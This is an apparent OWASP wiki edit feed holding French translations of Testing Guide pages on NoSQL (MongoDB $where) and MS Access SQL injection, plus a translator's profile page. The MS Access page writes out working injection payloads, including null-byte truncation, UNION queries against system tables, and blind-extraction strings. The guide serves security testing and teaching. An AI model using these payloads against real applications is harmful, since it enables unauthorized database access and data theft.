&amp;lt;code&amp;gt;function() { return obj.credits - obj.debits &amp;lt; 0;var date=new Date(); do{curDate = new Date();}while(curDate-date&amp;lt;10000); }&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Exemple 2===&lt;br /&gt;
&lt;br /&gt;
Même si les entrées utilisées dans les requêtes sont complétement vérifiées et nettoyées, il y a une autre manière de déclencher une injection NoSQL. Beaucoup d'instances NoSQL ont leur noms de variable réservés, indépendants du langage de programmation de l'application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Par exemple, dans MongoDB, la syntaxe &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; elle-même est un opérateur de requête réservé. Il doit être passé dans la requête exactement comme montré ici, toute modification causerait une erreur de base de données. Cependant, comme &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; est aussi un nom de variable PHP valide, il est possible à un attaquant d'insérer du code dans la requête en créant une variable PHP nommée &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt;. La documentation PHP de MongoDB averti explicitement les développeurs : &amp;lt;pre&amp;gt;Assurez-vous s'il vous plait que pour chaque opérateur de requête (commençant par $) vous utilisez des simples quotes afin que PHP n'essaie pas de remplacer &amp;quot;$exists&amp;quot; par la valeur de la variable $exists.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Même pour une requête sans entrée utilisateur, telle que l'exemple suivant, un attaquant peut exploiter MongoDB en remplaçant l'opérateur par des données malicieuses.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: function() { return obj.credits - obj.debits &amp;lt; 0; } } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une manière d'affecter des données à une variable PHP est d'utiliser la pollution de paramètres HTTP (cf. [[Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)]]). En créant une variable nommée &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; vie une pollution de paramètres, on peut déclencher une erreur MongoDB indiquant que la requête n'est plus valide. Toute valeur de &amp;lt;code&amp;gt;$where&amp;lt;/code&amp;gt; autre que la chaîne &amp;quot;$where&amp;quot; elle-même devrait démontrer la vulnérabilité. Un attaquant développerait un exploit complet en insérant le code suivant : &amp;lt;code&amp;gt;&amp;quot;$where: function() { //arbitrary JavaScript here }&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Références ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
Bryan Sullivan from Adobe: &amp;quot;Server-Side JavaScript Injection&amp;quot; - https://media.blackhat.com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.pdf&lt;br /&gt;
&lt;br /&gt;
Bryan Sullivan from Adobe: &amp;quot;NoSQL, But Even Less Security&amp;quot; - http://blogs.adobe.com/asset/files/2011/04/NoSQL-But-Even-Less-Security.pdf&lt;br /&gt;
&lt;br /&gt;
Erlend from Bekk Consulting: &amp;quot;[Security] NOSQL-injection&amp;quot; - http://erlend.oftedal.no/blog/?blogid=110&lt;br /&gt;
&lt;br /&gt;
Felipe Aragon from Syhunt: &amp;quot;NoSQL/SSJS Injection&amp;quot; - http://www.syhunt.com/?n=Articles.NoSQLInjection&lt;br /&gt;
&lt;br /&gt;
MongoDB Documentation: &amp;quot;How does MongoDB address SQL or Query injection?&amp;quot; - http://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection&lt;br /&gt;
&lt;br /&gt;
PHP Documentation: &amp;quot;MongoCollection::find&amp;quot; - http://php.net/manual/en/mongocollection.find.php&lt;br /&gt;
&lt;br /&gt;
&amp;quot;Hacking NodeJS and MongoDB&amp;quot; - http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html&lt;br /&gt;
&lt;br /&gt;
&amp;quot;Attacking NodeJS and MongoDB&amp;quot; - http://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187811</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187811"/>
				<updated>2015-01-10T20:40:35Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187810</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187810"/>
				<updated>2015-01-10T20:40:10Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injection NoSQL]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.5.5_Tester_MS_Access&amp;diff=187809</id>
		<title>4.8.5.5 Tester MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.5.5_Tester_MS_Access&amp;diff=187809"/>
				<updated>2015-01-10T19:05:39Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}  == Sommaire ==  Comme expliqué dans la section générique sur les SQL injection, les vulnérabilités d'injeection SQL surviennet ch...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Sommaire == &lt;br /&gt;
Comme expliqué dans la section générique sur les [[SQL injection]], les vulnérabilités d'injeection SQL surviennet chaque fois qu'une entrée utilisateur est utilisée dans la construction d'une requête SQL sans avoir été correctement vérifiée et nettoyée. Ce type de vulnérabilités permet à un attaquant d'exécuter du code SQL avec les privilèges de l'utilisateur connecté à la base de données. Dan scette section nous allons décrire les techniques d'injection SQL spécifiques à [http://en.wikipedia.org/wiki/Microsoft_Access Microsoft Access]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
&lt;br /&gt;
=== Détection ===&lt;br /&gt;
&lt;br /&gt;
Lorsque l'on test une application basée sur SQL, détecter la technologie spécifique de base de données utilisée est la première étape pour évaluer correctement les vulnérabilités potentielles. Une approche commune consiste à injecter des attaques courantes (par exemple des simples quotes, guillemets, etc.) afin de déclencher des exception en base de données. A condition que l'application ne traite pas les exceptions avec des pages personnalisées, il est possible de détecter le SGBD sous-jacent en observant les messages d'erreur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Selon la technologie web utilisée, les applications basées sur MS Access vont répondre avec l'un des messages d'erreur suivants :&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message Source: Microsoft JET Database Engine&lt;br /&gt;
&lt;br /&gt;
ou &lt;br /&gt;
&lt;br /&gt;
 Microsoft JET Database Engine error '80040e14'&lt;br /&gt;
&lt;br /&gt;
ou&lt;br /&gt;
&lt;br /&gt;
 Microsoft Office Access Database Engine&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans tous les cas, on a une confirmation que l'on test une application utilisant une base de données MS Access.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Test basique ===&lt;br /&gt;
&lt;br /&gt;
Malheureusement, MS Access ne supporte pas les opérateurs typiques traditionnellement utilisés dans les tests d'injection SQL :&lt;br /&gt;
&lt;br /&gt;
* Pas de caractères de commentaires&lt;br /&gt;
* Pas de requêtes multiples&lt;br /&gt;
* Pas d'opérateur LIMIT&lt;br /&gt;
* Pas d'opérateurs SLEEP, BENCHMARK ou similaires&lt;br /&gt;
* Et bien d'autres&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cependant, il est possible d'émuler ces fonctions en combinant plusieurs opérateurs ou en utilisant des techniques alternatives. Comme indiqué, il n'est pas possible d'utiliser l'insertion de commentaires &amp;lt;code&amp;gt;/*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;#&amp;lt;/code&amp;gt; afin de tronquer la requête. Mais on peut contourner cette limitation en injectant un caractère 'null'. Utiliser un octet nul &amp;lt;code&amp;gt;%00&amp;lt;/code&amp;gt; dans une requête SQL oblige MS Access à ignorer tous les caractères suivants. Cela s'explique par le fait que les chaînes sont terminées par NULL dans la représentation interne utilisée par la base de données. Il est important de mentionner que le caractère 'null' peut aussi poser des problèmes, puisqu'il peut aussi tronquer des chaînes au niveau du serveur web. Dans ces situations, on peut cependant utiliser une autre caractère : 0x16 (%16 en format encodé URL).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
considérons la requête suivante :&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
On peut tronquer la requête avec les deux URLs suivantes :&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/page.asp?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/page.app?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
L'opérateur &amp;lt;code&amp;gt;LIMIT&amp;lt;/code&amp;gt; n'est pas implémenté en MS Access, il est cepdendant possible de limiter le nombre de résultats en utilisant les opérateurs &amp;lt;code&amp;gt;TOP&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;LAST&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/page.app?id=2'+UNION+SELECT+TOP+3+name+FROM+appsTable%00&lt;br /&gt;
&lt;br /&gt;
En combinant ces opérateurs, il est possible de sélectionner des résultats spécifiques. La concaténation de chaîne est possible en utilisant les caractères &amp;lt;code&amp;gt;&amp;amp; (%26)&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;+ (%2b)&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il y a aussi beaucoup d'autres fonctions qui peuvent être utilisées pour les tests d'injection SQL, notamment :&lt;br /&gt;
* ASC: Retourne la valeuer ASCII du caractère passé en entrée&lt;br /&gt;
* CHR: Retourne le caractère de la valeur ASCII passée en entrée&lt;br /&gt;
* LEN: Retourne la longueur de la chaîne passée en paramètre&lt;br /&gt;
* IIF: Instruction IF, par exemple : IIF(1=1, 'a', 'b') retourne 'a'&lt;br /&gt;
* MID: Extraction d'une sous-chaîne. Par exemple : mid('abc',1,1) retourne 'a'&lt;br /&gt;
* TOP: Spécifie le nombre maximum de résultats que la requête doit retourner depuis le début. Par exemple :  TOP 1 retournera seulement un enregistrement.&lt;br /&gt;
* LAST: Renvoie seulement le dernier enregistrement d'un ensemble. Par exemple : SELECT last(*) FROM users renverra le dernier enregistrement du résultat.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Certain de ces opérateur sont essentiels pour exploiter des injection SQL en aveugle. Pour les autres opérateurs avancés, voir les documents en référence.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Enumération d'attributs ====&lt;br /&gt;
&lt;br /&gt;
Pour énumérer les colonnes d'une table dans une base de données, il est possible d'utiliser une technique commune basée sur les erreurs.&lt;br /&gt;
En bref, on peut obtenir les noms des attributs en analysant les messages d'erreur et en répétant la requête avec différents sélecteurs. Par exemple, admettant que nous connaissons l'existence d'une colonne, nous pouvons aussi obtenir le nom des autres attributs avec la requête suivante :&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le message d'erreur renvoyé, il est possible d'observer le nom de la colonne suivante. A partir de ce moment, nous pouvons répéter la méthode jusqu'à ce nous ayons les noms de tous les attributs. Si l'on ne connait pas le nom du premier attribut, on peut tout de même insérer un nom fictif et obtenir le nom de ce premier attribut dans le message d'erreur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Obtenir le schéma de la base ====&lt;br /&gt;
&lt;br /&gt;
Par défaut, il existe diverses tables système dans MS Access qui peuvent être utilisées pour obtenir les noms des tables et des colonnes. Malheureusement, dans la configuration par défaut des versions récentes de MS Access, ces tables ne sont pas accessibles. Cependant cela vaut toujours le coup d'essayer :&lt;br /&gt;
&lt;br /&gt;
* MSysObjects&lt;br /&gt;
* MSysACEs&lt;br /&gt;
* MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Par exemple, s'il y a une vulnérabilité d'injection SQL par UNION, on peut essayer la requête suivante :&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'autre part, il est toujours possible de brute-forcer le schéma de la base en utilisant une liste de mots standard (Ex: [http://code.google.com/p/fuzzdb/ FuzzDb]).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans certains cas, les développeurs ou les administrateurs système ne réalisent pas qu'inclure le véritable fichier ''.mdb'' dans le webroot de l'application permet de télécharger la base en entier. Les fichiers de bases de données peuvent être trouvés avec la requête suivante :&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/page.app?id=1'+UNION+SELECT+1+FROM+name.table%00&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
où &amp;lt;code&amp;gt;name&amp;lt;/code&amp;gt; est le nom du fichier ''.mdb'' et &amp;lt;code&amp;gt;table&amp;lt;/code&amp;gt; est une table valide. &lt;br /&gt;
Dans la cas où la base est protégée par mot de passe, de multiples logiciels peuvent être utilisés pour casser le mot de passe. Voir les références.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Test d'injection SQL en aveugle ===&lt;br /&gt;
&lt;br /&gt;
Les vulnérabilités [[Blind SQL Injection]] ne sont en aucun cas les plus faciles à exploiter quand on test des cas réels. Dans le cas de versions récentes de MS Access, il n'est de plus pas possible d'exécuter des commandes shell ou de lire/écrire des fichiers arbitrairement.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des injection SQL en aveugle, l'attaquant ne peut qu'inférer le résultat de la requête en mesurant des différences de temps ou dans les réponses de l'application. Nous supposons ici que le lecteur connait déjà les principes des attaques par injection SQL en aveugle, puisque la suite va se concentrer sur les détails spécifique à MS Access.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'exemple suivant sera utilisé :&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
Où le paramètre id est utilisé dans la requête suivante :&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Considérons le paramètre &amp;lt;code&amp;gt;myId&amp;lt;/code&amp;gt; comme vulnérable à une injection SQL en aveugle. En tant qu'attaquant, nous voulons extraire le contenu de la colonne 'username' de la table 'users', sachant que nous connaissons déjà le schéma de la base.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une requête typique peut être utilisée pour deviner le premier caractère du nom d'utilisateur de la 10e ligne :&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20MID(LAST(username),1,1)%20from%20(select%20TOP%2010%20username%20from%20users))='a',0,'no') &lt;br /&gt;
&lt;br /&gt;
Si le premier caractère est un 'a', la requête renverra 0, sinon elle renverra 'no'.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En utilisant une combinaison des fonctions IFF, MID, LAST et TOP, il est possible d'extraire le premier caractère du nom d'utilisateur d'une ligne donnée. Comme la requête retourne un ensemble d'enregistrements, et non un seul, il n'est pas possible de l'utiliser directement. Heureusement on peut combiner de multiples fonctions pour extraire uen chaîne donnée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Considérons que l'on veut récupérer le username du la 10e ligne. D'abord, on peut utiliser la fonction TOP pour sélectionner les dix premières lignes :&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, en utilisant ce sous-ensemble, on peut extraire la dernière ligne avec la fonction LAST. Une fois qu'on a une et exactement une seule ligne contenant notre chaîne, on peut utiliser les fonctions IFF, MID et LAST pour découvrir la valeur réelle de username. Dans notre exemple, nous employons IFF pour renvoyer un nombre ou une chaîne. En utilisant cette astuce, nous ponvons savoir si la réponse est vraie ou non, en observant les messages d'erreur de l'application. Comme &amp;lt;code&amp;gt;id&amp;lt;/code&amp;gt; est numérique, la comparaison avec une chaîne résulte en une erreur SQL qui peut potentiellement fuiter dans les pages &amp;lt;code&amp;gt;500 Internal Server Error&amp;lt;/code&amp;gt;. Dans le cas contraire, une page standard &amp;lt;code&amp;gt;200 OK&amp;lt;/code&amp;gt; sera surement retournée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Par exemple, nous pouvons avoir la requête suivante :&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id='%20AND%201=0%20OR%20'a'=IIF((select%20MID(LAST(username),1,1)%20from%20(select%20TOP%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
qui renvoie TRUE si le premier caractère est 'a' et FALSE sinon.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme mentionné, cette méthode permet de deviner les valeurs de chaînes choisie dans la base de données.&lt;br /&gt;
&lt;br /&gt;
# En essayant toutes les valeur affichables, jusqu'à ce que nous trouvions une correspondance.&lt;br /&gt;
# En devinant la longueur des chaînes avec ka fonction LEN, ou simplement en nous arrêtant après avoir trouvé tous les caractères.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les injection SQL en aveugle basées sur le temps sont aussi possibles : [http://technet.microsoft.com/it-it/library/cc512676%28en-us%29.aspx.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
&lt;br /&gt;
* http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html&lt;br /&gt;
* http://packetstormsecurity.com/files/65967/Access-Through-Access.pdf.html&lt;br /&gt;
* http://seclists.org/pen-test/2003/May/74&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://en.wikipedia.org/wiki/Microsoft_Access&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187808</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187808"/>
				<updated>2015-01-10T19:05:23Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.5.4_Tester_PostgreSQL_(from_OWASP_BSP)&amp;diff=187801</id>
		<title>4.8.5.4 Tester PostgreSQL (from OWASP BSP)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.5.4_Tester_PostgreSQL_(from_OWASP_BSP)&amp;diff=187801"/>
				<updated>2015-01-10T17:38:28Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;==Sommaire==  Dans cette section, nous allons présenter quelques techniques d'injection SQL pour PostgreSQL. Ces techniques ont les caractéristiques suivantes :  * Le connec...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Sommaire==&lt;br /&gt;
&lt;br /&gt;
Dans cette section, nous allons présenter quelques techniques d'injection SQL pour PostgreSQL. Ces techniques ont les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
* Le connecteur PHP permet l'exécution de requêtes multiples en utilisant le séparateur ''';'''&lt;br /&gt;
* Les requêtes peuvent être tronquées en ajoutant les caractères de commentaire : '''--'''&lt;br /&gt;
* ''LIMIT'' et ''OFFSET'' peuvent être utilisés dans des requêtes ''SELECT'' pour récupérer une portion du résultat renvoyé par une ''requête''&lt;br /&gt;
&lt;br /&gt;
A parti de maintenant, nous allons considérer que ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' est vulnérable aux attaques par injection SQL.&lt;br /&gt;
&lt;br /&gt;
==Comment tester==&lt;br /&gt;
&lt;br /&gt;
=== Identifier PostgreSQL ===&lt;br /&gt;
&lt;br /&gt;
Quand une injection SQL a été trouvée, il faut identifier soigneusement le moteur de base de données sous-jacent. On peut le déterminer en utilisant l'opérateur de conversion ''::''.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Exemples:'''&lt;br /&gt;
